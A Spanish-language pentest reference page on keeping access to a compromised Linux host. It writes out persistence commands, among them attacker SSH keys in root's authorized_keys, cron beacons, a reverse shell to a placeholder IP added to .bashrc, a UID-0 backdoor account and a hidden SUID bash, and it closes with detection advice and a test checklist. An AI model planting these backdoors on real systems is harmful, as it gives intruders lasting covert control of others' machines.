Persistencia en Linux
Tras comprometer un host y escalar a root, la persistencia asegura que mantienes el acceso aunque el sistema se reinicie, cambien contraseñas o te expulsen de una sesión. Linux ofrece muchos mecanismos de arranque automático y ejecución recurrente que un atacante puede secuestrar. En un pentest se documenta (demostrar impacto); en un ataque real es lo que convierte un acceso puntual en un compromiso duradero.
Principio y tipos
Sección titulada «Principio y tipos»La persistencia reutiliza mecanismos legítimos de ejecución: arranque, tareas programadas, autenticación, servicios. Hay dos grandes familias: a nivel de usuario (sobrevive sesiones) y a nivel de sistema/root (sobrevive reinicios, más potente). El reto para el atacante es el sigilo; para el defensor, detectar lo añadido.
Claves SSH (la más común y limpia)
Sección titulada «Claves SSH (la más común y limpia)»# añadir tu clave pública a authorized_keys -> acceso permanente sin contraseñaecho "ssh-ed25519 AAAA...atacante" >> ~/.ssh/authorized_keysecho "ssh-ed25519 AAAA...atacante" >> /root/.ssh/authorized_keys# backdoor en el propio sshd config (AuthorizedKeysFile, PermitRootLogin)Simple, fiable y poco ruidosa si no se audita authorized_keys.
Cron y systemd timers
Sección titulada «Cron y systemd timers»# cron del usuario o del sistema que relanza tu backdoor/beacon(crontab -l; echo "* * * * * /tmp/.beacon") | crontab -echo "* * * * * root /usr/local/bin/update.sh" >> /etc/cron.d/update# systemd service + timer (más moderno, puede parecer legítimo)# /etc/systemd/system/updater.service + .timer -> ExecStart=tu payloadArranque y perfiles de shell
Sección titulada «Arranque y perfiles de shell»# scripts de inicio del sistema/etc/rc.local, /etc/init.d/, servicios systemd (ExecStart)# perfiles de shell (se ejecutan al iniciar sesión)~/.bashrc ~/.bash_profile ~/.profile /etc/profile /etc/bash.bashrcecho 'bash -i >& /dev/tcp/TU_IP/4444 0>&1 &' >> ~/.bashrcCuentas y backdoors de autenticación
Sección titulada «Cuentas y backdoors de autenticación»# crear un usuario con UID 0 (root paralelo)echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd # (con hash en shadow)# añadir usuario normal y meterlo en sudouseradd -m -s /bin/bash svc ; usermod -aG sudo svc# PAM backdoor (contraseña maestra) / módulo PAM malicioso -> más sigiloso y potenteTécnicas más sigilosas
Sección titulada «Técnicas más sigilosas»# SUID backdoor: copia de bash con SUID escondidacp /bin/bash /usr/lib/.sysd; chmod +s /usr/lib/.sysd # -> .sysd -p = root# capabilities en un binario oculto (ver lin-caps)# LD_PRELOAD / librería maliciosa cargada por servicios# módulo de kernel (rootkit) -> máximo sigilo, máxima complejidad# webshell si el host sirve web (en /var/www)Para la defensa
Sección titulada «Para la defensa»- Auditar
authorized_keysde todos los usuarios (sobre todo root) y la config de sshd; claves gestionadas centralmente. - Monitorizar cambios (auditd, FIM) en cron,
/etc/cron.*, systemd units, rc.local, perfiles de shell,/etc/passwd/shadowy módulos PAM. - Alertar sobre cuentas con UID 0 duplicadas, usuarios nuevos en sudo, binarios SUID nuevos (
find -perm -4000comparado con baseline). - Integridad del sistema: paquetes firmados,
debsums/rpm -V, detección de rootkits (rkhunter, chkrootkit). - Tras un incidente: reconstruir el host (la persistencia sigilosa —PAM, rootkit— es difícil de erradicar con confianza) y rotar credenciales/claves.
Checklist de prueba
Sección titulada «Checklist de prueba»- Clave SSH en authorized_keys (usuario y root)
- Cron / systemd timer que relanza el acceso
- rc.local / servicios systemd / perfiles de shell
- Usuario UID 0 o usuario en sudo
- SUID backdoor oculto / capabilities
- PAM backdoor o LD_PRELOAD (sigiloso)
- Documentar todo lo plantado (para limpieza en el informe)
- Blue: ¿FIM/auditd detectan cada mecanismo?